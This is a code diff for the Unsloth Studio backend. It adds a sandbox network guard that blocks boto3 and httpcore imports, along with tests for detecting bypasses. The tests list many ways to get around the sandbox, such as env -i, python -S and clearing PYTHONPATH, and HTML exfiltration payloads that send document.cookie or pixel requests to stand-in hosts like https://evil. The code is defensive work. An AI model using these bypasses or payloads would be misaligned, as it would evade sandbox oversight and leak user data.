[pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

studio/backend/core/inference/bypass_site/sitecustomize.py

@@ -0,0 +1,8 @@
+"""Load path remapping without sandbox network guards."""
+
+import runpy
+from pathlib import Path
+
+
+_SHIM = Path(__file__).resolve().parents[1] / "sandbox_site" / "sitecustomize.py"
+runpy.run_path(str(_SHIM))

studio/backend/core/inference/sandbox_site/sitecustomize.py

@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Sandbox-side compatibility shim for ChatGPT code-interpreter paths.
+"""Sandbox-side compatibility shim for code-interpreter path conventions.
 
 Models habitually write to /mnt/data (or /mnt/outputs, /home/sandbox,
 /workspace), none of which exist in the Unsloth sandbox. This module sits on the
@@ -28,10 +28,14 @@ Identical with and without output streaming because the child env is.
 """
 
 import builtins
+import importlib
+import importlib.machinery
+import importlib.util
 import io
 import json
 import os
 import sys
+import types
 
 # Code-interpreter convention prefixes. Remapping is gated on the prefix being
 # ABSENT (see _remap) so a genuine host mount / user dir is never shadowed.
@@ -46,6 +50,576 @@ _remapped_writes: dict = {}
 # on-disk sidecar carries the map across runs. It records only sources the
 # fallback healed, so an unrelated same-basename file is never adopted.
 _REMAP_SIDECAR = ".unsloth_sandbox_remap.json"
+_BLOCKED_NETWORK_MODULES = frozenset({"boto3", "botocore"})
+# httpx imports httpcore internally, so block only sandbox-user requests.
+_DIRECT_BLOCKED_NETWORK_MODULES = frozenset({"httpcore"})
+_import_guard_installed = False
+_original_import = builtins.__import__
+_original_import_module = importlib.import_module
+
+
+def _initial_trusted_library_roots():
+    """Capture interpreter-managed package roots before sandbox code can edit sys.path."""
+    roots = []
+    for entry in sys.path:
+        if not isinstance(entry, str) or not entry:
+            continue
+        try:
+            path = os.path.realpath(entry)
+        except OSError:
+            continue
+        if os.path.basename(path).lower() not in {"site-packages", "dist-packages"}:
+            continue
+        if path not in roots:
+            roots.append(path)
+    return tuple(roots)
+
+
+_TRUSTED_LIBRARY_ROOTS = _initial_trusted_library_roots()
+
+
+def _path_is_in_roots(filename, roots):
+    if not isinstance(filename, str) or filename.startswith("<"):
+        return False
+    try:
+        path = os.path.realpath(filename)
+        return any(os.path.commonpath((root, path)) == root for root in roots)
+    except (OSError, ValueError):
+        return False
+
+
+def _blocked_network_module_origin(filename):
+    if not isinstance(filename, str) or filename.startswith("<"):
+        return None
+    try:
+        path = os.path.realpath(filename)
+        for root in _TRUSTED_LIBRARY_ROOTS:
+            if os.path.commonpath((root, path)) != root:
+                continue
+            relative = os.path.relpath(path, root).replace("\\", "/")
+            package = relative.split("/", 1)[0].removesuffix(".py")
+            if package in _BLOCKED_NETWORK_MODULES or package in _DIRECT_BLOCKED_NETWORK_MODULES:
+                return package
+    except (OSError, ValueError):
+        return None
+    return None
+
+
+def _frame_uses_trusted_package(frame, package):
+    module_name = frame.f_globals.get("__name__", "")
+    if not isinstance(module_name, str):
+        return False
+    if module_name != package and not module_name.startswith(f"{package}."):
+        return False
+    module = sys.modules.get(module_name)
+    if module is None:
+        return False
+    try:
+        module_dict = types.ModuleType.__getattribute__(module, "__dict__")
+    except TypeError:
+        module_dict = getattr(module, "__dict__", None)
+    if module_dict is not frame.f_globals:
+        return False
+    spec = getattr(module, "__spec__", None)
+    origin = getattr(spec, "origin", None) or getattr(module, "__file__", None)
+    if not _path_is_in_roots(origin, _TRUSTED_LIBRARY_ROOTS):
+        return False
+    return _path_is_in_roots(frame.f_code.co_filename, _TRUSTED_LIBRARY_ROOTS)
+
+
+def _trusted_http_client_frame(frame):
+    return _frame_uses_trusted_package(frame, "httpx") or _frame_uses_trusted_package(
+        frame, "httpcore"
+    )
+
+
+def _trusted_httpx_in_call_stack(skip = 1):
+    try:
+        frame = sys._getframe(skip)
+    except ValueError:
+        return False
+    while frame is not None:
+        if _frame_uses_trusted_package(frame, "httpx"):
+            return True
+        frame = frame.f_back
+    return False
+
+
+def _frame_is_importlib(frame):
+    module_name = frame.f_globals.get("__name__", "")
+    if not isinstance(module_name, str) or (
+        module_name != "importlib" and not module_name.startswith("importlib.")
+    ):
+        return False
+    module = sys.modules.get(module_name)
+    return module is not None and getattr(module, "__dict__", None) is frame.f_globals
+
+
+def _sandbox_code_requested_import(skip = 1):
+    try:
+        frame = sys._getframe(skip)
+    except ValueError:
+        return True
+    while frame is not None:
+        if (
+            frame.f_code.co_filename == __file__
+            or _frame_is_importlib(frame)
+            or str(frame.f_code.co_filename).startswith("<frozen importlib")
+        ):
+            frame = frame.f_back
+            continue
+        return not _trusted_http_client_frame(frame)
+    return True
+
+
+def _blocked_network_module(fullname):
+    if not isinstance(fullname, str):
+        return None
+    root = fullname.split(".", 1)[0]
+    if root in _BLOCKED_NETWORK_MODULES:
+        return root
+    if root in _DIRECT_BLOCKED_NETWORK_MODULES and _sandbox_code_requested_import():
+        return root
+    return None
+
+
+def _blocked_network_loader_origin(filename):
+    root = _blocked_network_module_origin(filename)
+    if root in _BLOCKED_NETWORK_MODULES:
+        return root
+    if root in _DIRECT_BLOCKED_NETWORK_MODULES and _sandbox_code_requested_import():
+        return root
+    return None
+
+
+def _raise_blocked_network_module(root):
+    raise ModuleNotFoundError(
+        f"Blocked: low-level network module {root!r} is unavailable in sandboxed code"
+    )
+
+
+_HTTP_CORE_METADATA = frozenset(
+    {
+        "__cached__",
+        "__doc__",
+        "__file__",
+        "__loader__",
+        "__name__",
+        "__package__",
+        "__path__",
+        "__spec__",
+    }
+)
+
+
+class _GuardedHttpcoreModule(types.ModuleType):
+    """Keep httpx working while denying cached low-level APIs to sandbox code."""
+
+    def __getattribute__(self, name):
+        if name not in _HTTP_CORE_METADATA and _sandbox_code_requested_import(2):
+            _raise_blocked_network_module("httpcore")
+        return types.ModuleType.__getattribute__(self, name)
+
+    def __setattr__(self, name, value):
+        if _sandbox_code_requested_import(2):
+            _raise_blocked_network_module("httpcore")
+        return types.ModuleType.__setattr__(self, name, value)
+
+    def __delattr__(self, name):
+        if _sandbox_code_requested_import(2):
+            _raise_blocked_network_module("httpcore")
+        return types.ModuleType.__delattr__(self, name)
+
+
+def _make_httpcore_backend_dispatchers():
+    originals = {}
+
+    def register(original):
+        key = object()
+        originals[key] = original
+        return key
+
+    def dispatch(key, *args, **kwargs):
+        return originals[key](*args, **kwargs)
+
+    async def dispatch_async(key, *args, **kwargs):
+        return await originals[key](*args, **kwargs)
+
+    return register, dispatch, dispatch_async
+
+
+(
+    _register_httpcore_backend,
+    _dispatch_httpcore_backend,
+    _dispatch_httpcore_backend_async,
+) = _make_httpcore_backend_dispatchers()
+
+
+def _guard_httpcore_backend_method(cls, method_name):
+    original = cls.__dict__.get(method_name)
+    if not callable(original) or getattr(original, "_unsloth_httpcore_backend_guard", False):
+        return
+
+    key = _register_httpcore_backend(original)
+    trusted_request = _trusted_httpx_in_call_stack
+    blocked = _raise_blocked_network_module
+    code = getattr(original, "__code__", None)
+    if code is not None and code.co_flags & 0x80:  # CO_COROUTINE
+        dispatch = _dispatch_httpcore_backend_async
+
+        async def guarded(*args, **kwargs):
+            if not trusted_request(2):
+                blocked("httpcore")
+            return await dispatch(key, *args, **kwargs)
+
+    else:
+        dispatch = _dispatch_httpcore_backend
+
+        def guarded(*args, **kwargs):
+            if not trusted_request(2):
+                blocked("httpcore")
+            return dispatch(key, *args, **kwargs)
+
+    guarded._unsloth_httpcore_backend_guard = True
+    guarded.__name__ = getattr(original, "__name__", method_name)
+    guarded.__qualname__ = getattr(original, "__qualname__", guarded.__name__)
+    guarded.__doc__ = getattr(original, "__doc__", None)
+    setattr(cls, method_name, guarded)
+
+
+def _guard_httpcore_network_backends(module):
+    """Guard httpcore's connection boundary even if module attribute lookup is bypassed."""
+    seen = set()
+    for value in vars(module).values():
+        if not isinstance(value, type) or id(value) in seen:
+            continue
+        seen.add(id(value))
+        _guard_httpcore_backend_method(value, "connect_tcp")
+        _guard_httpcore_backend_method(value, "connect_unix_socket")
+
+
+def _guard_loaded_httpcore_modules():
+    """Harden httpcore modules loaded transitively by an approved high-level client."""
+    for name, module in tuple(sys.modules.items()):
+        if name != "httpcore" and not name.startswith("httpcore."):
+            continue
+        if not isinstance(module, types.ModuleType) or isinstance(module, _GuardedHttpcoreModule):
+            continue
+        spec = getattr(module, "__spec__", None)
+        if getattr(spec, "_initializing", False):
+            continue
+        _guard_httpcore_network_backends(module)
+        module.__class__ = _GuardedHttpcoreModule
+
+
+def _absolute_import_name(
+    name,
+    package = None,
+    level = 0,
+):
+    if not isinstance(name, str):
+        return name
+    if level:
+        if not isinstance(package, str) or not package:
+            return name
+        relative = "." * level + name
+    elif name.startswith(".") and isinstance(package, str) and package:
+        relative = name
+    else:
+        return name
+    try:
+        return importlib.util.resolve_name(relative, package)
+    except (ImportError, ValueError):
+        return name
+
+
+def _guarded_import(
+    name,
+    globals = None,
+    locals = None,
+    fromlist = (),
+    level = 0,
+):
+    package = globals.get("__package__") if isinstance(globals, dict) else None
+    absolute_name = _absolute_import_name(name, package, level)
+    root = _blocked_network_module(absolute_name)
+    if root is not None:
+        _raise_blocked_network_module(root)
+    module = _original_import(name, globals, locals, fromlist, level)
+    if isinstance(absolute_name, str) and absolute_name.split(".", 1)[0] == "httpcore":
+        _guard_loaded_httpcore_modules()
+    return module
+
+
+def _guarded_import_module(name, package = None):
+    absolute_name = _absolute_import_name(name, package)
+    root = _blocked_network_module(absolute_name)
+    if root is not None:
+        _raise_blocked_network_module(root)
+    module = _original_import_module(name, package)
+    if isinstance(absolute_name, str) and absolute_name.split(".", 1)[0] == "httpcore":
+        _guard_loaded_httpcore_modules()
+    return module
+
+
+def _guard_legacy_source_loader():
+    cls = importlib.machinery.SourceFileLoader
+    original_load_module = getattr(cls, "load_module", None)
+    original_exec_module = getattr(cls, "exec_module", None)
+
+    def blocked_loader_root(self, fullname = None):
+        root = _blocked_network_module(fullname)
+        if root is None:
+            root = _blocked_network_loader_origin(getattr(self, "path", None))
+        return root
+
+    if callable(original_load_module) and not getattr(
+        original_load_module, "_unsloth_network_guard", False
+    ):
+
+        def guarded_load_module(self, *args, **kwargs):
+            fullname = args[0] if args else kwargs.get("fullname", getattr(self, "name", None))
+            root = blocked_loader_root(self, fullname)
+            if root is not None:
+                _raise_blocked_network_module(root)
+            return original_load_module(self, *args, **kwargs)
+
+        guarded_load_module._unsloth_network_guard = True
+        guarded_load_module.__name__ = getattr(original_load_module, "__name__", "load_module")
+        guarded_load_module.__qualname__ = getattr(
+            original_load_module, "__qualname__", guarded_load_module.__name__
+        )
+        guarded_load_module.__doc__ = getattr(original_load_module, "__doc__", None)
+        cls.load_module = guarded_load_module
+
+    if callable(original_exec_module) and not getattr(
+        original_exec_module, "_unsloth_network_guard", False
+    ):
+
+        def guarded_exec_module(self, module):
+            fullname = getattr(module, "__name__", getattr(self, "name", None))
+            root = blocked_loader_root(self, fullname)
+            if root is not None:
+                _raise_blocked_network_module(root)
+            return original_exec_module(self, module)
+
+        guarded_exec_module._unsloth_network_guard = True
+        guarded_exec_module.__name__ = getattr(original_exec_module, "__name__", "exec_module")
+        guarded_exec_module.__qualname__ = getattr(
+            original_exec_module, "__qualname__", guarded_exec_module.__name__
+        )
+        guarded_exec_module.__doc__ = getattr(original_exec_module, "__doc__", None)
+        cls.exec_module = guarded_exec_module
+
+
+def _make_network_guard_audit():
+    """Create a guard whose decisions do not depend on mutable module globals."""
+    blocked = _BLOCKED_NETWORK_MODULES
+    direct_blocked = _DIRECT_BLOCKED_NETWORK_MODULES
+    trusted_roots = _TRUSTED_LIBRARY_ROOTS
+    modules = sys.modules
+    module_getattribute = types.ModuleType.__getattribute__
+    getframe = sys._getframe
+    commonpath = os.path.commonpath
+    realpath = os.path.realpath
+    relpath = os.path.relpath
+    shim_path = realpath(__file__)
+
+    def blocked_error(root):
+        raise ModuleNotFoundError(
+            f"Blocked: low-level network module {root!r} is unavailable in sandboxed code"
+        )
+
+    def blocked_origin(filename):
+        if not isinstance(filename, str) or filename.startswith("<"):
+            return None
+        try:
+            path = realpath(filename)
+            for root in trusted_roots:
+                if commonpath((root, path)) != root:
+                    continue
+                relative = relpath(path, root).replace("\\", "/")
+                package = relative.split("/", 1)[0].removesuffix(".py")
+                if package in blocked or package in direct_blocked:
+                    return package
+        except (OSError, ValueError):
+            return None
+        return None
+
+    def blocked_origin_in_stack(skip):
+        try:
+            frame = getframe(skip)
+        except ValueError:
+            return None
+        while frame is not None:
+            root = blocked_origin(frame.f_code.co_filename)
+            if root is not None:
+                return root
+            frame = frame.f_back
+        return None
+
+    def frame_uses_package(frame, package):
+        module_name = frame.f_globals.get("__name__", "")
+        if not isinstance(module_name, str):
+            return False
+        if module_name != package and not module_name.startswith(f"{package}."):
+            return False
+        module = modules.get(module_name)
+        if module is None:
+            return False
+        try:
+            module_dict = module_getattribute(module, "__dict__")
+        except TypeError:
+            module_dict = getattr(module, "__dict__", None)
+        if module_dict is not frame.f_globals:
+            return False
+        spec = getattr(module, "__spec__", None)
+        origin = getattr(spec, "origin", None) or getattr(module, "__file__", None)
+        filename = frame.f_code.co_filename
+        if not isinstance(origin, str) or not isinstance(filename, str):
+            return False
+        try:
+            origin_path = realpath(origin)
+            code_path = realpath(filename)
+            for root in trusted_roots:
+                if commonpath((root, origin_path)) != root:
+                    continue
+                if commonpath((root, code_path)) != root:
+                    continue
+                origin_relative = relpath(origin_path, root).replace("\\", "/")
+                code_relative = relpath(code_path, root).replace("\\", "/")
+                return (
+                    origin_relative == package or origin_relative.startswith(f"{package}/")
+                ) and (code_relative == package or code_relative.startswith(f"{package}/"))
+        except (OSError, ValueError):
+            return False
+        return False
+
+    def package_in_stack(package, skip):
+        try:
+            frame = getframe(skip)
+        except ValueError:
+            return False
+        while frame is not None:
+            if frame_uses_package(frame, package):
+                return True
+            frame = frame.f_back
+        return False
+
+    def sandbox_requested_import(skip):
+        try:
+            frame = getframe(skip)
+        except ValueError:
+            return True
+        while frame is not None:
+            filename = frame.f_code.co_filename
+            if filename == shim_path or (
+                isinstance(filename, str) and filename.startswith("<frozen importlib")
+            ):
+                frame = frame.f_back
+                continue
+            return not (frame_uses_package(frame, "httpx") or frame_uses_package(frame, "httpcore"))
+        return True
+
+    def audit(event, args):
+        if event == "import" and args:
+            fullname = args[0]
+            if not isinstance(fullname, str):
+                return
+            root = fullname.split(".", 1)[0]
+            if root in blocked or (root in direct_blocked and sandbox_requested_import(2)):
+                blocked_error(root)
+            return
+        if event not in {"socket.connect", "socket.connect_ex", "socket.getaddrinfo"}:
+            return
+        root = blocked_origin_in_stack(2)
+        if root in blocked:
+            blocked_error(root)
+        if root in direct_blocked:
+            if package_in_stack("httpx", 2):
+                return
+            blocked_error(root)
+        if (
+            package_in_stack("httpcore", 2)
+            or package_in_stack("anyio", 2)
+            or package_in_stack("trio", 2)
+        ):
+            if package_in_stack("httpx", 2):
+                return
+            blocked_error("httpcore")
+
+    return audit
+
+
+class _BlockedNetworkModuleFinder:
+    _unsloth_blocked_network_guard = True
+
+    def find_spec(
+        self,
+        fullname,
+        path = None,
+        target = None,
+    ):
+        root = _blocked_network_module(fullname)
+        if root is not None:
+            _raise_blocked_network_module(root)
+        return None
+
+
+def _loaded_from_sandbox_site():
+    """True when this shim is imported from the sandbox site dir on PYTHONPATH.
+
+    The parent adds this directory to a sandbox child's PYTHONPATH, so its
+    presence confirms the child is still running under the sandbox launcher even
+    if ``UNSLOTH_STUDIO_SANDBOXED`` has been altered in ``os.environ``.
+    """
+    try:
+        module_dir = os.path.realpath(os.path.dirname(__file__))
+    except (OSError, NameError, TypeError):
+        return False
+    for entry in os.environ.get("PYTHONPATH", "").split(os.pathsep):
+        if not entry:
+            continue
+        try:
+            if os.path.realpath(entry) == module_dir:
+                return True
+        except OSError:
+            continue
+    return False
+
+
+def _sandbox_guard_should_activate():
+    """Decide whether to install the runtime network guard.
+
+    Normal sandbox children set ``UNSLOTH_STUDIO_SANDBOXED=1``. Bypass (full
+    access) runs under ``bypass_site`` (which never activates this guard because
+    it is executed via ``runpy`` with ``__name__ != "sitecustomize"``) and never
+    puts this ``sandbox_site`` directory on the child's PYTHONPATH. So whenever
+    this shim actually loads *as* ``sitecustomize`` from the sandbox site dir,
+    the child is running under the sandbox launcher and must be guarded —
+    regardless of whether the flag is ``"1"``, altered (e.g. sandbox code running
+    ``os.environ['UNSLOTH_STUDIO_SANDBOXED']='0'``), or deleted outright
+    (``del os.environ['UNSLOTH_STUDIO_SANDBOXED']``) before spawning a child.
+    """
+    flag = os.environ.get("UNSLOTH_STUDIO_SANDBOXED")
+    if flag == "1":
+        return True
+    return _loaded_from_sandbox_site()
+
+
+def _install_import_guard():
+    global _import_guard_installed
+    if __name__ != "sitecustomize" or not _sandbox_guard_should_activate():
+        return
+    if not _import_guard_installed:
+        sys.addaudithook(_make_network_guard_audit())
+        builtins.__import__ = _guarded_import
+        importlib.import_module = _guarded_import_module
+        _guard_legacy_source_loader()
+        _import_guard_installed = True
+    if any(getattr(finder, "_unsloth_blocked_network_guard", False) for finder in sys.meta_path):
+        return
+    sys.meta_path.insert(0, _BlockedNetworkModuleFinder())
 
 
 def _note(subject, original, mapped):
@@ -307,6 +881,11 @@ def _install():
     pathlib.Path.mkdir = _path_mkdir
 
 
+try:
+    _install_import_guard()
+except Exception:  # noqa: BLE001 - a broken guard must not break startup
+    pass
+
 try:
     _install()
 except Exception:  # noqa: BLE001 - a broken shim must never break user code

studio/backend/tests/test_bypass_permissions.py

@@ -159,6 +159,166 @@ def test_bash_blocklist_enforced_when_sandboxed(captured_popen):
     assert "cmd" not in captured_popen  # never reached Popen
 
 
+@pytest.mark.parametrize(
+    "command",
+    [
+        'python -S -c "import boto3"',
+        'python -E -c "import boto3"',
+        'python -I -c "import boto3"',
+        'python --no-site -c "import boto3"',
+        'python --ignore-environment -c "import boto3"',
+        'python --isolated -c "import boto3"',
+        'env -u PYTHONPATH python -c "import boto3"',
+        'env --unset=UNSLOTH_STUDIO_SANDBOXED python3 -c "import boto3"',
+        'env -i python -c "import boto3"',
+        'PYTHONPATH= python -c "import boto3"',
+        'unset PYTHONPATH; python -c "import boto3"',
+        'export UNSLOTH_STUDIO_SANDBOXED=0; python -c "import boto3"',
+        'uv run python -S -c "import boto3"',
+        'bash -lc "python -I -c import\\ boto3"',
+        'env -S "python -S -c import\\ boto3"',
+        'env --split-string="python -I -c import\\ boto3"',
+        'env -u PYTHONPATH sh -c "python -c import\\ boto3"',
+        'command sh -c "python -I -c import\\ boto3"',
+        'find . -exec python -S -c "import boto3" ;',
+        # A find/fd -exec that hides the interpreter behind a nested shell must
+        # still be recursed into, not left as an opaque exec target.
+        'find . -exec sh -c "python -S -c import\\ boto3" ;',
+        'find . -type f -execdir bash -c "python -I -c import\\ boto3" ;',
+        'python$IFS-S -c "import boto3"',
+        "python -c \"import subprocess; subprocess.run(['python','-S','-c','import boto3'])\"",
+        'python -c "import os; os.system(\\"python -S -c \'import boto3\'\\")"',
+        'echo ok\npython -S -c "import boto3"',
+        'timeout 1 env -i python -c "import boto3"',
+        'find . -exec env -i python -c "import boto3" ;',
+        "bash <<'EOF'\npython -S -c \"import boto3\"\nEOF",
+        "bash <<< 'python -S -c \"import boto3\"'",
+        'if true; then python -S -c "import boto3"; fi',
+        'for x in 1; do python -S -c "import boto3"; done',
+        "python <<'PY'\nimport subprocess\nsubprocess.run(['python','-S','-c','import boto3'])\nPY",
+        'python \\\n-S -c "import boto3"',
+        'env -uPYTHONPATH python -c "import boto3"',
+        (
+            "python -c \"import os,subprocess; os.environ.pop('PYTHONPATH',None); "
+            "os.environ['UNSLOTH_STUDIO_SANDBOXED']='0'; "
+            "subprocess.run(['python','-c','import boto3'])\""
+        ),
+        # shell=True passes a sequence's first element to /bin/sh -c, so the
+        # embedded ``python -S`` is shell input, not a shlex-joined argv word.
+        'python -c "import subprocess; subprocess.run([\'python -S -c \\"import boto3\\"\'], shell=True)"',
+        # A launcher rebound by assignment (``r = subprocess.run``) still spawns
+        # an unguarded child.
+        "python -c \"import subprocess; r = subprocess.run; r(['python','-S','-c','import boto3'])\"",
+        # A command word supplied entirely by a defaulted parameter expansion
+        # (``${PYTHON:-python}`` with PYTHON unset) still runs ``python -S``.
+        '${PYTHON:-python} -S -c "import boto3"',
+        # A quoted here-doc delimiter containing a hyphen is still a here-doc; its
+        # Python body must be parsed as stdin code.
+        "python <<'PY-EOF'\nimport subprocess\nsubprocess.run(['python','-S','-c','import boto3'])\nPY-EOF",
+        # argv elements assembled from concatenated literals fold to ``python``.
+        "python -c \"import subprocess; subprocess.run(['py'+'thon','-S','-c','import boto3'])\"",
+        # ``os.environ |= {...}`` (PEP 584) can clear PYTHONPATH for the child.
+        (
+            "python -c \"import os,subprocess; os.environ |= {'PYTHONPATH': ''}; "
+            "subprocess.run(['python','-c','import boto3'])\""
+        ),
+        # GNU env's lone ``-`` implies ``-i`` (clear environment).
+        'env - /usr/bin/python -c "import boto3"',
+        # A child launch hidden inside a static ``exec`` string payload.
+        (
+            "python -c \"exec('import subprocess; "
+            'subprocess.run([\\"python\\",\\"-S\\",\\"-c\\",\\"import boto3\\"])\')"'
+        ),
+        # Non-subprocess child launchers (pty.spawn / asyncio) skip sitecustomize
+        # in the child too.
+        "python -c \"import pty; pty.spawn(['python','-S','-c','import boto3'])\"",
+        (
+            'python -c "import asyncio; '
+            "asyncio.create_subprocess_exec('python','-S','-c','import boto3')\""
+        ),
+        # env -S (split-string) launches Python even behind a wrapper chain, not
+        # only when env is the first token.
+        'timeout 1 env -S "/usr/bin/python3 -S -c import\\ boto3"',
+        'find . -exec env -S "python -S -c import\\ boto3" ;',
+        # Grouped env short options: -i in a bundle clears the whole environment.
+        'env -iuPYTHONPATH /usr/bin/python3 -c "import boto3"',
+        # A bash alias that folds -S into the python command word.
+        "shopt -s expand_aliases\nalias python='python -S'\npython -c 'import boto3'",
+        # declare -x / typeset -x export an emptied PYTHONPATH to the child.
+        "declare -x PYTHONPATH=; python -c 'import boto3'",
+        "typeset -x PYTHONPATH=; python -c 'import boto3'",
+        # A here-doc piped into python feeds the body to that python as stdin.
+        "cat <<'PY' | python\nimport subprocess\nsubprocess.run(['python','-S','-c','import boto3'])\nPY",
+        # Process substitution: the inner command is a python bypass, and a
+        # generated-script form feeds python an unscannable program.
+        "diff <(python -S -c 'import boto3') /dev/null",
+        "python <(printf %s \"import subprocess; subprocess.run(['python','-S','-c','import boto3'])\")",
+    ],
+)
+def test_bash_blocks_python_startup_guard_bypasses(captured_popen, command):
+    out = _bash_exec(command, None, 5, "t", disable_sandbox = False)
+    assert "cannot disable the Studio runtime guard" in out
+    assert "cmd" not in captured_popen
+
+
+@pytest.mark.parametrize(
+    "command",
+    [
+        'python -c "print(1)"',
+        "python script.py -S",
+        "echo python -S",
+        "python -c \"print('-S')\"",
+        "python -c \"import subprocess; subprocess.run(['python','-c','print(1)'])\"",
+        "python <<'PY'\nprint(1)\nPY",
+        'bash <<< "echo safe"',
+        "cat <<< 'python -S -c \"import boto3\"'",
+        "echo then python -S",
+        'python \\\n-c "print(1)"',
+        # A guard-neutral env merge (non-guard key) must still auto-run.
+        "python -c \"import os; os.environ |= {'MYVAR': '1'}\"",
+        # A dynamic argv element (sys.executable) is not a foldable literal, so a
+        # legitimate self-relaunch is not misclassified as a bypass.
+        "python -c \"import sys, subprocess; subprocess.run([sys.executable, '-c', 'print(1)'])\"",
+        # shell=True with an entirely benign script.
+        "python -c \"import subprocess; subprocess.run(['echo hi'], shell=True)\"",
+        # A rebound launcher that spawns a guarded (no -S) child.
+        "python -c \"import subprocess; r = subprocess.run; r(['python','-c','print(1)'])\"",
+        # A non-exported declare stays a shell local (child keeps the guard env).
+        'declare PYTHONPATH=x; python -c "print(1)"',
+        # A benign, guard-neutral env export.
+        'declare -x MYVAR=1; python -c "print(1)"',
+        # A benign alias with no Python skip flags.
+        'alias py="python"; py script.py',
+        # env -S with a plain launch (no skip flag / env mutation).
+        'env -S "python -c print(1)"',
+        # Process substitution feeding a non-Python consumer stays static.
+        "diff <(sort a.txt) <(sort b.txt)",
+        # A here-doc piped to python whose body is a benign program.
+        "cat <<'PY' | python\nprint(1)\nPY",
+    ],
+)
+def test_bash_allows_python_without_startup_guard_bypass(captured_popen, command):
+    out = _bash_exec(command, None, 5, "t", disable_sandbox = False)
+    assert out == "FAKEOUT"
+    assert "cmd" in captured_popen
+
+
+@pytest.mark.parametrize(
+    ("command", "blocked"),
+    [
+        ('py -3.12 -I -c "import boto3"', True),
+        ('C:\\Python312\\python.exe -S -c "import boto3"', True),
+        ('set PYTHONPATH= & python -c "import boto3"', True),
+        ('cmd /c "python -E -c import boto3"', True),
+        ('python.exe -c "print(1)"', False),
+        ("echo python -S", False),
+    ],
+)
+def test_python_startup_guard_windows_command_parsing(monkeypatch, command, blocked):
+    monkeypatch.setattr(tools.sys, "platform", "win32")
+    assert tools._sandbox_python_startup_bypasses_guard(command) is blocked
+
+
 def test_bash_blocklist_skipped_when_bypassed(captured_popen):
     out = _bash_exec("rm -rf /", None, 5, "t", disable_sandbox = True)
     assert out == "FAKEOUT"  # blocklist skipped -> reached (faked) execution

studio/backend/tests/test_permission_mode.py

@@ -926,6 +926,9 @@ def test_terminal_classifier(command, unsafe):
             "from huggingface_hub import snapshot_download\nsnapshot_download('r')",
             True,
         ),  # bare-imported repo snapshot download
+        ("import httpcore\nhttpcore.request('GET', 'https://example.com')", True),
+        ("import boto3\nboto3.client('s3').list_buckets()", True),
+        ("from botocore.session import get_session\nget_session()", True),
         ("import statistics\nstatistics.mean([1, 2])", False),  # benign stdlib import stays safe
         # A concrete write callable handed to a user-defined helper that can
         # invoke it bypasses the direct open()/writer site, so it asks.
@@ -948,6 +951,66 @@ def test_python_classifier(code, unsafe):
     assert is_potentially_unsafe_tool_call("python", {"code": code}) is unsafe
 
 
+def test_python_runtime_safety_blocks_child_startup_guard_bypass():
+    from core.inference.tools import _check_code_safety
+
+    assert (
+        _check_code_safety("import subprocess\nsubprocess.run(['python','-c','print(1)'])") is None
+    )
+    assert (
+        _check_code_safety(
+            "import os, subprocess\n"
+            "subprocess.run(['python','-c','print(1)'], env=os.environ.copy())"
+        )
+        is None
+    )
+    assert (
+        _check_code_safety(
+            "import subprocess\nsubprocess.run(['ignored','-c','print(1)'], executable='python')"
+        )
+        is None
+    )
+    assert (
+        _check_code_safety("import os\nos.execl('/usr/bin/python','python','-c','print(1)')")
+        is None
+    )
+    assert "runtime guard" in (
+        _check_code_safety("import subprocess\nsubprocess.run(['python','-S','-c','print(1)'])")
+        or ""
+    )
+    assert "runtime guard" in (
+        _check_code_safety(
+            "import subprocess\nsubprocess.run(args=['python','-S','-c','print(1)'])"
+        )
+        or ""
+    )
+    assert "runtime guard" in (
+        _check_code_safety(
+            "import subprocess\n"
+            "subprocess.run(['ignored','-S','-c','print(1)'], executable='python')"
+        )
+        or ""
+    )
+    assert "runtime guard" in (
+        _check_code_safety("from subprocess import *\nrun(['python','-S','-c','print(1)'])") or ""
+    )
+    assert "runtime guard" in (
+        _check_code_safety("import os\nos.execl('/usr/bin/python','python','-S','-c','print(1)')")
+        or ""
+    )
+    assert "runtime guard" in (
+        _check_code_safety("import subprocess\nsubprocess.run(['python','-c','print(1)'], env={})")
+        or ""
+    )
+    assert "runtime guard" in (
+        _check_code_safety(
+            "import os, subprocess\nos.environ.pop('PYTHONPATH', None)\n"
+            "subprocess.run(['python','-c','print(1)'])"
+        )
+        or ""
+    )
+
+
 def test_builtin_readonly_tools_are_safe():
     assert is_potentially_unsafe_tool_call("web_search", {"query": "hi"}) is False
     assert is_potentially_unsafe_tool_call("search_knowledge_base", {}) is False
@@ -970,6 +1033,10 @@ def test_render_html_gated_only_when_networked():
     assert rh("<script src='https://cdn/x.js'></script>") is True
     assert rh("<script>new XMLHttpRequest().open('GET','/x')</script>") is True
     assert rh("<img src='https://evil/pixel.png'>") is True
+    assert rh('<svg><image xlink:href="https://evil/x.png"/></svg>') is True
+    assert rh('<svg><use xlink:href="#local-symbol"/></svg>') is False
+    assert rh('<iframe srcdoc="<img src=https://evil/x>"></iframe>') is True
+    assert rh('<iframe srcdoc="<h1>Local report</h1>"></iframe>') is False
     # Worker / SharedWorker constructors run an off-thread script the scan cannot
     # see (a module worker from a CORS CDN, or a blob/same-origin worker that
     # fetches/importScripts) under worker-src http: https: blob:, so they ask.
@@ -984,6 +1051,13 @@ def test_render_html_gated_only_when_networked():
     assert rh("<img srcset='https://evil/x.png 1x'>") is True
     assert rh("<img src='/api/leak?d=1'>") is True  # root-relative resolves to origin
     assert rh("<link rel=stylesheet href='//cdn/x.css'>") is True  # protocol-relative
+    assert rh("<form action='https://evil/x' method='post'></form>") is True
+    assert rh("<video poster='https://evil/x.png'></video>") is True
+    assert rh("<object data='https://evil/x'></object>") is True
+    assert rh("<a ping='https://evil/x'>link</a>") is True
+    assert rh("<img srcset='local.png 1x, https://evil/x.png 2x'>") is True
+    assert rh("<a ping='local https://evil/x'>link</a>") is True
+    assert rh("<script>const data = '/tmp/file.json'</script>") is False
     # Self-navigation sinks exfiltrate by navigating the frame away.
     assert rh("<script>location.href='https://x/?d='+document.cookie</script>") is True
     assert rh("<script>location.assign('https://x')</script>") is True
@@ -995,11 +1069,310 @@ def test_render_html_gated_only_when_networked():
     # Obfuscated egress: a block comment splitting fetch(, or bracket access.
     assert rh("<script>fetch/*x*/('https://example.com')</script>") is True
     assert rh("<script>window['fetch']('https://example.com')</script>") is True
+    assert rh("<script>window[`fetch`]('https://example.com')</script>") is True
+    assert rh("<script>window[`fet`+`ch`]('https://example.com')</script>") is True
